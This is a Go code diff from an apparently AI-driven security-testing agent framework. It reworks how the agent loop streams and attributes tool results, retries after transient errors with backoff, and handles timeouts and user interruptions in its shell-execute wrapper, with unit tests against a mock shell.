+		if tid == "" {
+			if inferred, ok := popNextPendingForAgent(agentName); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popNextPendingForAgent(""); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popAnyPending(); ok {
+				tid = inferred.ToolCallID
 			}
+		}
+		if tid != "" {
+			removePendingByID(tid)
 			if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded {
 				return
 			}
-			isErr := !success || invokeErr != nil
+			data["toolCallId"] = tid
-			body := content
+			toolCallID = tid
-			if invokeErr != nil {
+		}
-				// 保留已流式累计的 stdout（如 execute 超时前的一半输出），避免 tool_result 只剩错误串、模型与 UI 丢失上下文
+		recordPendingExecuteStdoutDup(toolName, content, isErr)
-				tail := friendlyEinoExecuteInvokeTail(invokeErr)
+		recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
-				// execute 流式包装可能已把超时句写入 content（供 ADK tool 与流式 delta）；勿重复拼接
+		if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
-				if tail != "" && strings.Contains(content, tail) {
+			if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
-					body = content
+				args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
-				} else if strings.TrimSpace(content) != "" {
-					body = strings.TrimRight(content, "\n") + "\n\n" + tail
-				} else {
-					body = tail
-				}
-				isErr = true
 			}
-			recordPendingExecuteStdoutDup(toolName, body, isErr)
+		}
-			preview := body
+		progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
-			if len(preview) > 200 {
+	}
-				preview = preview[:200] + "..."
+	if args.ToolInvokeNotify != nil {
-			}
+		args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
-			agentTag := strings.TrimSpace(einoAgent)
+			removePendingByID(strings.TrimSpace(toolCallID))
-			if agentTag == "" {
+			// tool_result 仅由下方 ADK schema.Tool 事件推送，正文与送入模型的上下文一致（含 reduction 截断）。
-				agentTag = orchestratorName
-			}
-			progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), map[string]interface{}{
-				"toolName":       toolName,
-				"success":        !isErr,
-				"isError":        isErr,
-				"result":         body,
-				"resultPreview":  preview,
-				"toolCallId":     tid,
-				"conversationId": conversationID,
-				"einoAgent":      agentTag,
-				"einoRole":       einoRoleTag(agentTag),
-				"source":         "eino",
-			})
 		})
 	}
 
@@ -372,6 +383,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		}
 	}
 	runner := adk.NewRunner(ctx, runnerCfg)
+	startRunnerIter := func(runMsgs []adk.Message) *adk.AsyncIterator[*adk.AgentEvent] {
+		if checkPointID != "" {
+			return runner.Run(ctx, runMsgs, adk.WithCheckPointID(checkPointID))
+		}
+		return runner.Run(ctx, runMsgs)
+	}
 	var iter *adk.AsyncIterator[*adk.AgentEvent]
 	if cpStore != nil && checkPointID != "" {
 		if _, existed, getErr := cpStore.Get(ctx, checkPointID); getErr != nil {
@@ -411,12 +428,9 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		}
 	}
 	if iter == nil {
-		if checkPointID != "" {
+		iter = startRunnerIter(msgs)
-			iter = runner.Run(ctx, msgs, adk.WithCheckPointID(checkPointID))
-		} else {
-			iter = runner.Run(ctx, msgs)
-		}
 	}
+	transientRetrier := newEinoTransientRunRetrier(einoTransientRunRetryPolicyFromArgs(args))
 	handleRunErr := func(runErr error) error {
 		if runErr == nil {
 			return nil
@@ -469,26 +483,60 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		return runErr
 	}
 
-	// maybeRetryTransientRun：不在此层 runner.Run/Resume；由 handler 落库 + loadHistoryFromAgentTrace 分段续跑（同中断并继续）。
+	maybeRetryTransientRun := func(runErr error) (restarted bool, fatal error) {
-	maybeRetryTransientRun := func(runErr error) (retry bool, fatal error) {
+		if runErr == nil {
-		if runErr == nil || !isEinoTransientRunError(runErr) {
+			return false, nil
+		}
+		if !isEinoTransientRunError(runErr) {
 			return false, handleRunErr(runErr)
 		}
+		restarted, restartMsgs, ctxSource, backoff, retErr := transientRetrier.tryRetry(
+			ctx, runErr, args, baseMsgs, runAccumulatedMsgs, baseAccumulatedCount,
+		)
+		if retErr != nil {
+			flushAllPendingAsFailed(runErr)
+			if logger != nil {
+				logger.Warn("eino transient retry exhausted",
+					zap.Error(retErr),
+					zap.String("orchestration", orchMode),
+					zap.Int("maxAttempts", transientRetrier.maxAttempts()))
+			}
+			return false, retErr
+		}
+		if !restarted {
+			return false, nil
+		}
+		attemptNo := transientRetrier.attempt()
+		maxAttempts := transientRetrier.maxAttempts()
 		if logger != nil {
-			logger.Warn("eino transient error, ending run segment for handler resume",
+			logger.Warn("eino transient error, retrying after backoff",
 				zap.Error(runErr),
-				zap.String("orchestration", orchMode))
+				zap.String("orchestration", orchMode),
+				zap.Int("attempt", attemptNo),
+				zap.Int("maxAttempts", maxAttempts),
+				zap.Duration("backoff", backoff))
 		}
 		if progress != nil {
-			progress("eino_run_retry", "遇到临时错误（限流或网络波动），将保存上下文并重试…", map[string]interface{}{
+			progress("eino_run_retry", fmt.Sprintf("遇到临时错误（限流或网络波动），%d 秒后第 %d/%d 次重试…", int(backoff.Seconds()), attemptNo, maxAttempts), map[string]interface{}{
 				"conversationId": conversationID,
 				"source":         "eino",
 				"orchestration":  orchMode,
 				"error":          runErr.Error(),
-				"resumeKind":     "trace_segment",
+				"attempt":        attemptNo,
+				"maxAttempts":    maxAttempts,
+				"backoffSec":     int(backoff.Seconds()),
+			})
+			progress("eino_run_retry", "已恢复上下文，正在重试…", map[string]interface{}{
+				"conversationId": conversationID,
+				"source":         "eino",
+				"orchestration":  orchMode,
+				"attempt":        attemptNo,
+				"contextSource":  string(ctxSource),
 			})
 		}
-		return false, ErrTransientRetryContinue
+		msgs = restartMsgs
+		iter = startRunnerIter(msgs)
+		return true, nil
 	}
 
 	takePartial := func(runErr error) (*RunResult, error) {
@@ -572,9 +620,15 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 			continue
 		}
 		if ev.Err != nil {
-			if _, retErr := maybeRetryTransientRun(ev.Err); retErr != nil {
+			restarted, retErr := maybeRetryTransientRun(ev.Err)
+			if retErr != nil {
 				return takePartial(retErr)
 			}
+			if restarted {
+				continue
+			}
+		} else {
+			transientRetrier.reset()
 		}
 		if ev.AgentName != "" && progress != nil {
 			iterEinoAgent := orchestratorName
@@ -619,19 +673,66 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 					}
 				}
 			}
+			// 仅在代理切换时更新进度标题；同一代理的每个 ADK 事件不再重复刷 progress。
+			if einoLastAgent != ev.AgentName {
+				progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
+					"conversationId": conversationID,
+					"einoAgent":      ev.AgentName,
+					"einoRole":       einoRoleTag(ev.AgentName),
+					"orchestration":  orchMode,
+				})
+			}
 			einoLastAgent = ev.AgentName
-			progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
-				"conversationId": conversationID,
-				"einoAgent":      ev.AgentName,
-				"einoRole":       einoRoleTag(ev.AgentName),
-				"orchestration":  orchMode,
-			})
 		}
 		if ev.Output == nil || ev.Output.MessageOutput == nil {
 			continue
 		}
 		mv := ev.Output.MessageOutput
 
+		if mv.IsStreaming && mv.MessageStream != nil && mv.Role == schema.Tool {
+			toolName := strings.TrimSpace(mv.ToolName)
+			var toolBuf strings.Builder
+			streamToolCallID := ""
+			var toolStreamRecvErr error
+			for {
+				chunk, rerr := mv.MessageStream.Recv()
+				if errors.Is(rerr, io.EOF) {
+					break
+				}
+				if rerr != nil {
+					toolStreamRecvErr = rerr
+					break
+				}
+				if chunk == nil {
+					continue
+				}
+				if chunk.Content != "" {
+					toolBuf.WriteString(chunk.Content)
+				}
+				if tid := strings.TrimSpace(chunk.ToolCallID); tid != "" {
+					streamToolCallID = tid
+				}
+			}
+			content := toolBuf.String()
+			isErr := false
+			if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
+				isErr = true
+				content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
+			}
+			if streamToolCallID != "" {
+				opts := []schema.ToolMessageOption{schema.WithToolName(toolName)}
+				runAccumulatedMsgs = append(runAccumulatedMsgs, schema.ToolMessage(content, streamToolCallID, opts...))
+			}
+			tryEmitToolResultProgress(toolName, content, streamToolCallID, isErr, ev.AgentName)
+			if toolStreamRecvErr != nil && logger != nil {
+				logger.Warn("eino tool result stream recv error",
+					zap.Error(toolStreamRecvErr),
+					zap.String("agent", ev.AgentName),
+					zap.String("tool", toolName))
+			}
+			continue
+		}
+
 		if mv.IsStreaming && mv.MessageStream != nil {
 			mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 			streamHeaderSent := false
@@ -785,6 +886,16 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 					}
 				}
 			}
+			if progress != nil && reasoningStreamID != "" && strings.TrimSpace(reasoningBuf) != "" {
+				progress("reasoning_chain_stream_end", openai.DisplayReasoningContent(strings.TrimSpace(reasoningBuf)), map[string]interface{}{
+					"streamId":       reasoningStreamID,
+					"conversationId": conversationID,
+					"source":         "eino",
+					"einoAgent":      ev.AgentName,
+					"einoRole":       einoRoleTag(ev.AgentName),
+					"orchestration":  orchMode,
+				})
+			}
 			if streamsMainAssistant(ev.AgentName) {
 				s := strings.TrimSpace(mainAssistantBuf)
 				if mainAssistDupTarget != "" {
@@ -883,9 +994,13 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 						"einoRole":       einoRoleTag(ev.AgentName),
 					})
 				}
-				if _, retErr := maybeRetryTransientRun(streamRecvErr); retErr != nil {
+				restarted, retErr := maybeRetryTransientRun(streamRecvErr)
+				if retErr != nil {
 					return takePartial(retErr)
 				}
+				if restarted {
+					continue
+				}
 			}
 			continue
 		}
@@ -963,7 +1078,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 			}
 		}
 
-		if mv.Role == schema.Tool && progress != nil {
+		if (mv.Role == schema.Tool || msg.Role == schema.Tool) && progress != nil {
 			toolName := msg.ToolName
 			if toolName == "" {
 				toolName = mv.ToolName
@@ -976,46 +1091,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 				content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
 			}
 
-			preview := content
-			if len(preview) > 200 {
-				preview = preview[:200] + "..."
-			}
-			data := map[string]interface{}{
-				"toolName":       toolName,
-				"success":        !isErr,
-				"isError":        isErr,
-				"result":         content,
-				"resultPreview":  preview,
-				"conversationId": conversationID,
-				"einoAgent":      ev.AgentName,
-				"einoRole":       einoRoleTag(ev.AgentName),
-				"source":         "eino",
-			}
 			toolCallID := strings.TrimSpace(msg.ToolCallID)
-			if toolCallID == "" {
+			tryEmitToolResultProgress(toolName, content, toolCallID, isErr, ev.AgentName)
-				if inferred, ok := popNextPendingForAgent(ev.AgentName); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popNextPendingForAgent(""); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popAnyPending(); ok {
-					toolCallID = inferred.ToolCallID
-				}
-			}
-			if toolCallID != "" {
-				removePendingByID(toolCallID)
-				if _, loaded := toolResultSent.LoadOrStore(toolCallID, struct{}{}); loaded {
-					// ToolInvokeNotify 可能已推过 tool_result（如 execute 流式包装里 Fire 仅携带截断后的 stdout），
-					// 此处仍应用 ADK Tool 消息中的完整内容刷新去重基准，避免模型复述全文时与截断串比对失败而重复展示「助手输出」。
-					recordPendingExecuteStdoutDup(toolName, content, isErr)
-					continue
-				}
-				data["toolCallId"] = toolCallID
-			}
-			recordPendingExecuteStdoutDup(toolName, content, isErr)
-			recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
-			progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
 		}
 	}
 

internal/multiagent/eino_chat_model_tail_middleware.go

@@ -0,0 +1,50 @@
+package multiagent
+
+import (
+	"github.com/cloudwego/eino/adk"
+	"go.uber.org/zap"
+)
+
+// einoChatModelTailConfig configures middleware appended after reduction/skill/plantask
+// and immediately before each ChatModel invocation pipeline completes.
+//
+// Order (best practice):
+//  1. system merge — accurate token count for summarization
+//  2. continuation user dedup — drop stale session-resume injections
+//  3. summarization
+//  4. orphan tool prune
+//  5. telemetry
+//  6. model-facing trace snapshot
+type einoChatModelTailConfig struct {
+	logger           *zap.Logger
+	phase            string
+	summarization    adk.ChatModelAgentMiddleware
+	modelName        string
+	conversationID   string
+	trace            *modelFacingTraceHolder
+	skipOrphanPruner bool
+	skipTelemetry    bool
+	skipTrace        bool
+}
+
+func appendEinoChatModelTailMiddlewares(handlers []adk.ChatModelAgentMiddleware, cfg einoChatModelTailConfig) []adk.ChatModelAgentMiddleware {
+	handlers = append(handlers, newSystemMessageNormalizerMiddleware(cfg.logger, cfg.phase))
+	handlers = append(handlers, newContinuationUserDedupMiddleware(cfg.logger, cfg.phase))
+	if cfg.summarization != nil {
+		handlers = append(handlers, cfg.summarization)
+	}
+	if !cfg.skipOrphanPruner {
+		handlers = append(handlers, newOrphanToolPrunerMiddleware(cfg.logger, cfg.phase))
+	}
+	if !cfg.skipTelemetry {
+		if teleMw := newEinoModelInputTelemetryMiddleware(cfg.logger, cfg.modelName, cfg.conversationID, cfg.phase); teleMw != nil {
+			handlers = append(handlers, teleMw)
+		}
+	}
+	if !cfg.skipTrace && cfg.trace != nil {
+		if capMw := newModelFacingTraceMiddleware(cfg.trace); capMw != nil {
+			handlers = append(handlers, capMw)
+		}
+	}
+	return handlers
+}

internal/multiagent/eino_execute_monitor.go

@@ -9,8 +9,8 @@ import (
 
 // newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId)，
 // 与 CallTool 路径一致，供助手消息展示「渗透测试详情」芯片。
-func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(command, stdout string, success bool, invokeErr error) {
+func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(toolCallID, command, stdout string, success bool, invokeErr error) {
-	return func(command, stdout string, success bool, invokeErr error) {
+	return func(toolCallID, command, stdout string, success bool, invokeErr error) {
 		if ag == nil || recorder == nil {
 			return
 		}
@@ -25,7 +25,7 @@ func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRe
 		args := map[string]interface{}{"command": command}
 		id := ag.RecordLocalToolExecution("execute", args, stdout, err)
 		if id != "" {
-			recorder(id)
+			recorder(id, toolCallID)
 		}
 	}
 }

internal/multiagent/eino_execute_streaming_wrap.go

@@ -6,9 +6,11 @@ import (
 	"fmt"
 	"io"
 	"strings"
+	"sync"
 	"time"
 
 	"cyberstrike-ai/internal/einomcp"
+	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/security"
 
 	"github.com/cloudwego/eino/adk/filesystem"
@@ -34,6 +36,15 @@ func einoExecuteTimeoutUserHint() string {
 	return "已超时终止 · Timed out"
 }
 
+// einoExecuteRecvErrIsToolTimeout 判断 Recv 错误是否由 agent.tool_timeout_minutes 触发。
+// WithTimeout 到期后 local 侧常报 canceled / exit -1，但 execCtx.Err() 仍为 DeadlineExceeded。
+func einoExecuteRecvErrIsToolTimeout(rerr error, tctx context.Context) bool {
+	if tctx != nil && errors.Is(tctx.Err(), context.DeadlineExceeded) {
+		return true
+	}
+	return errors.Is(rerr, context.DeadlineExceeded)
+}
+
 // einoStreamingShellWrap 包装 Eino filesystem 使用的 StreamingShell（cloudwego eino-ext local.Local）。
 // 官方 execute 工具默认走 ExecuteStreaming 且不设 RunInBackendGround；末尾带 & 时子进程仍与管道相连，
 // streamStdout 按行读取会在无换行输出时长时间阻塞（与 MCP 工具 exec 的独立实现不同）。
@@ -53,7 +64,7 @@ type einoStreamingShellWrap struct {
 	// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐；>0 时对单次 execute 套用 context 超时（与 MCP 工具经 executeToolViaMCP 行为一致）。0 表示仅依赖上层 ctx（如整任务 10h 上限）。
 	toolTimeoutMinutes int
 	// recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId)，使「渗透测试详情」与常规 MCP 一致。
-	recordMonitor func(command, stdout string, success bool, invokeErr error)
+	recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error)
 }
 
 func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
@@ -71,27 +82,48 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 	req.Command = prependPythonUnbufferedEnv(req.Command)
 	tid := strings.TrimSpace(compose.GetToolCallID(ctx))
 	agentTag := strings.TrimSpace(w.einoAgentName)
+	convID := mcp.MCPConversationIDFromContext(ctx)
+	execReg := mcp.EinoExecuteRunRegistryFromContext(ctx)
 
-	execCtx := ctx
+	execCtx, execCancel := context.WithCancel(ctx)
-	var execCancel context.CancelFunc
+	var timeoutCancel context.CancelFunc
 	if w.toolTimeoutMinutes > 0 {
-		execCtx, execCancel = context.WithTimeout(ctx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
+		execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
+	}
+	if execReg != nil && convID != "" {
+		execReg.RegisterActiveEinoExecute(convID, execCancel)
 	}
 
 	sr, err := w.inner.ExecuteStreaming(execCtx, &req)
 	if err != nil {
+		if timeoutCancel != nil {
+			timeoutCancel()
+		}
 		if execCancel != nil {
 			execCancel()
 		}
+		if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
+			hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
+			if w.recordMonitor != nil {
+				w.recordMonitor(tid, userCmd, hint, false, context.DeadlineExceeded)
+			}
+			if w.invokeNotify != nil && tid != "" {
+				w.invokeNotify.Fire(tid, "execute", agentTag, false, hint, context.DeadlineExceeded)
+			}
+			return schema.StreamReaderFromArray([]*filesystem.ExecuteResponse{{Output: hint}}), nil
+		}
 		if w.recordMonitor != nil {
-			w.recordMonitor(userCmd, "", false, err)
+			w.recordMonitor(tid, userCmd, "", false, err)
 		}
 		if w.invokeNotify != nil && tid != "" {
 			w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err)
 		}
 		return nil, err
 	}
-	if sr == nil || w.invokeNotify == nil || tid == "" {
+	if sr == nil || w.invokeNotify == nil {
+		if timeoutCancel != nil {
+			timeoutCancel()
+		}
 		if execCancel != nil {
 			execCancel()
 		}
@@ -100,14 +132,34 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 
 	outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
 
-	go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, tctx context.Context) {
+	go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry) {
-		defer inner.Close()
+		var innerCloseOnce sync.Once
+		closeInner := func() {
+			innerCloseOnce.Do(func() { inner.Close() })
+		}
+		defer closeInner()
+		if timeoutCleanup != nil {
+			defer timeoutCleanup()
+		}
 		if cancel != nil {
 			defer cancel()
 		}
+		if reg != nil && conversationID != "" {
+			defer reg.UnregisterActiveEinoExecute(conversationID)
+		}
+
+		// ctx 取消时关闭内层流，避免 amass 等长时间无换行输出时 Recv 永久阻塞。
+		stopWatch := make(chan struct{})
+		go func() {
+			select {
+			case <-tctx.Done():
+				closeInner()
+			case <-stopWatch:
+			}
+		}()
+		defer close(stopWatch)
 
 		var sb strings.Builder
-		const maxCapture = 16 * 1024
 		success := true
 		var invokeErr error
 		exitCode := 0
@@ -121,6 +173,15 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 			if rerr != nil {
 				success = false
 				invokeErr = rerr
+				// 单次 execute 超时须与 MCP 工具一致：写入工具结果尾标、继续迭代，不得向 ADK 流注入硬错误。
+				if einoExecuteRecvErrIsToolTimeout(rerr, tctx) {
+					invokeErr = context.DeadlineExceeded
+					break
+				}
+				if errors.Is(rerr, context.Canceled) || (tctx != nil && errors.Is(tctx.Err(), context.Canceled)) {
+					invokeErr = context.Canceled
+					break
+				}
 				_ = outW.Send(nil, rerr)
 				break
 			}
@@ -130,15 +191,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 					exitCode = *resp.ExitCode
 				}
 				var appended string
-				if remain := maxCapture - sb.Len(); remain > 0 {
+				if resp.Output != "" {
-					out := resp.Output
+					sb.WriteString(resp.Output)
-					if len(out) > remain {
+					appended = resp.Output
-						out = out[:remain]
-					}
-					sb.WriteString(out)
-					appended = out
 				}
-				// 仅推送写入 sb 的片段，与末尾 Fire/recordMonitor 的截断累计一致，避免最终 tool_result 短于已展示增量。
 				if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
 					w.outputChunk("execute", tid, appended)
 				}
@@ -160,6 +216,21 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 			success = false
 			invokeErr = context.DeadlineExceeded
 		}
+		// 用户「中断并继续」终止 execute：合并说明进工具结果（与 MCP CancelToolExecutionWithNote 一致）。
+		partialStreamed := sb.String()
+		var abortNote string
+		if reg != nil && conversationID != "" && (invokeErr != nil || errors.Is(tctx.Err(), context.Canceled)) {
+			if note := reg.TakeEinoExecuteAbortNote(conversationID); note != "" {
+				abortNote = note
+				merged := mcp.MergePartialToolOutputAndAbortNote(partialStreamed, note)
+				sb.Reset()
+				sb.WriteString(merged)
+				if invokeErr == nil {
+					success = false
+					invokeErr = context.Canceled
+				}
+			}
+		}
 		// ADK 从本 Pipe 拼出 tool 消息正文；仅 Notify 尾标不会进入模型上下文。超时句写入流，与 UI 一致。
 		if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
 			hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
@@ -167,20 +238,22 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 			if w.outputChunk != nil && tid != "" {
 				w.outputChunk("execute", tid, hint)
 			}
-			if remain := maxCapture - sb.Len(); remain > 0 {
+			sb.WriteString(hint)
-				h := hint
+		}
-				if len(h) > remain {
+		// 中断时循环内已逐行写入 stdout；此处只追加 USER INTERRUPT NOTE，避免整段输出重复。
-					h = h[:remain]
+		if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
-				}
+			if partialStreamed != "" {
-				sb.WriteString(h)
+				_ = outW.Send(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
+			} else if text := strings.TrimSpace(sb.String()); text != "" {
+				_ = outW.Send(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
 			}
 		}
 		if w.recordMonitor != nil {
-			w.recordMonitor(command, sb.String(), success, invokeErr)
+			w.recordMonitor(tid, command, sb.String(), success, invokeErr)
 		}
 		w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr)
 		outW.Close()
-	}(sr, userCmd, execCancel, execCtx)
+	}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg)
 
 	return outR, nil
 }

internal/multiagent/eino_execute_streaming_wrap_test.go

@@ -0,0 +1,227 @@
+package multiagent
+
+import (
+	"context"
+	"errors"
+	"io"
+	"strings"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/einomcp"
+	"cyberstrike-ai/internal/mcp"
+
+	"github.com/cloudwego/eino/adk/filesystem"
+	"github.com/cloudwego/eino/schema"
+)
+
+type mockStreamingShell struct {
+	immediateErr error
+	recvErr      error
+	output       string
+}
+
+func (m *mockStreamingShell) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
+	if m.immediateErr != nil {
+		return nil, m.immediateErr
+	}
+	outR, outW := schema.Pipe[*filesystem.ExecuteResponse](4)
+	go func() {
+		defer outW.Close()
+		if strings.TrimSpace(m.output) != "" {
+			_ = outW.Send(&filesystem.ExecuteResponse{Output: m.output}, nil)
+		}
+		if m.recvErr != nil {
+			_ = outW.Send(nil, m.recvErr)
+		}
+	}()
+	return outR, nil
+}
+
+func TestEinoExecuteRecvErrIsToolTimeout(t *testing.T) {
+	tctx, cancel := context.WithTimeout(context.Background(), time.Millisecond)
+	defer cancel()
+	time.Sleep(2 * time.Millisecond)
+	<-tctx.Done()
+
+	if !einoExecuteRecvErrIsToolTimeout(context.Canceled, tctx) {
+		t.Fatal("expected canceled recv with deadline exec ctx to count as tool timeout")
+	}
+	if !einoExecuteRecvErrIsToolTimeout(context.DeadlineExceeded, nil) {
+		t.Fatal("expected DeadlineExceeded recv without tctx")
+	}
+	if einoExecuteRecvErrIsToolTimeout(errors.New("exit status 1"), context.Background()) {
+		t.Fatal("unexpected timeout for generic error")
+	}
+}
+
+func TestEinoStreamingShellWrap_ToolTimeoutImmediateErrIsSoft(t *testing.T) {
+	inner := &mockStreamingShell{immediateErr: context.DeadlineExceeded}
+	wrap := &einoStreamingShellWrap{
+		inner:              inner,
+		toolTimeoutMinutes: 60,
+	}
+	sr, err := wrap.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: "true"})
+	if err != nil {
+		t.Fatalf("immediate tool timeout must return soft stream, got err: %v", err)
+	}
+	defer sr.Close()
+
+	var got strings.Builder
+	for {
+		resp, rerr := sr.Recv()
+		if errors.Is(rerr, io.EOF) {
+			break
+		}
+		if rerr != nil {
+			t.Fatalf("outer stream must not hard-fail, got: %v", rerr)
+		}
+		if resp != nil && resp.Output != "" {
+			got.WriteString(resp.Output)
+		}
+	}
+	if !strings.Contains(got.String(), einoExecuteTimeoutUserHint()) {
+		t.Fatalf("expected timeout hint, got: %q", got.String())
+	}
+}
+
+func TestEinoStreamingShellWrap_ToolTimeoutRecvErrIsSoft(t *testing.T) {
+	inner := &mockStreamingShell{recvErr: context.DeadlineExceeded}
+	notify := einomcp.NewToolInvokeNotifyHolder()
+	wrap := &einoStreamingShellWrap{
+		inner:              inner,
+		invokeNotify:       notify,
+		toolTimeoutMinutes: 60,
+	}
+	// 生产路径由 Eino compose 注入 toolCallID；单测通过已过期 execCtx 识别 tool_timeout 软错误。
+	tctx, cancel := context.WithTimeout(context.Background(), time.Millisecond)
+	defer cancel()
+	time.Sleep(2 * time.Millisecond)
+	<-tctx.Done()
+
+	sr, err := wrap.ExecuteStreaming(tctx, &filesystem.ExecuteRequest{Command: "sleep 999"})
+	if err != nil {
+		t.Fatalf("ExecuteStreaming: %v", err)
+	}
+	defer sr.Close()
+
+	var got strings.Builder
+	for {
+		resp, rerr := sr.Recv()
+		if errors.Is(rerr, io.EOF) {
+			break
+		}
+		if rerr != nil {
+			t.Fatalf("outer stream must not hard-fail on tool timeout, got: %v", rerr)
+		}
+		if resp != nil && resp.Output != "" {
+			got.WriteString(resp.Output)
+		}
+	}
+	if !strings.Contains(got.String(), einoExecuteTimeoutUserHint()) {
+		t.Fatalf("expected timeout hint in stream, got: %q", got.String())
+	}
+}
+
+func TestEinoStreamingShellWrap_CapturesOutputWithToolTimeout(t *testing.T) {
+	inner := &mockStreamingShell{output: "100\n"}
+	notify := einomcp.NewToolInvokeNotifyHolder()
+	var firedContent string
+	notify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
+		firedContent = content
+	})
+	wrap := &einoStreamingShellWrap{
+		inner:              inner,
+		invokeNotify:       notify,
+		toolTimeoutMinutes: 60,
+	}
+	sr, err := wrap.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: "echo 100"})
+	if err != nil {
+		t.Fatalf("ExecuteStreaming: %v", err)
+	}
+	defer sr.Close()
+
+	var got strings.Builder
+	for {
+		resp, rerr := sr.Recv()
+		if errors.Is(rerr, io.EOF) {
+			break
+		}
+		if rerr != nil {
+			t.Fatalf("unexpected stream error: %v", rerr)
+		}
+		if resp != nil && resp.Output != "" {
+			got.WriteString(resp.Output)
+		}
+	}
+	if !strings.Contains(got.String(), "100") {
+		t.Fatalf("stream output = %q, want contains 100", got.String())
+	}
+	if !strings.Contains(firedContent, "100") {
+		t.Fatalf("notify content = %q, want contains 100", firedContent)
+	}
+}
+
+func TestEinoStreamingShellWrap_AbortNoteDoesNotDuplicateStreamedOutput(t *testing.T) {
+	inner := &mockStreamingShell{output: "line1\nline2\n", recvErr: context.Canceled}
+	notify := einomcp.NewToolInvokeNotifyHolder()
+	wrap := &einoStreamingShellWrap{
+		inner:        inner,
+		invokeNotify: notify,
+	}
+	reg := &abortNoteTestRegistry{note: "改成20次"}
+	ctx := mcp.WithEinoExecuteRunRegistry(
+		mcp.WithMCPConversationID(context.Background(), "conv-abort-dup"),
+		reg,
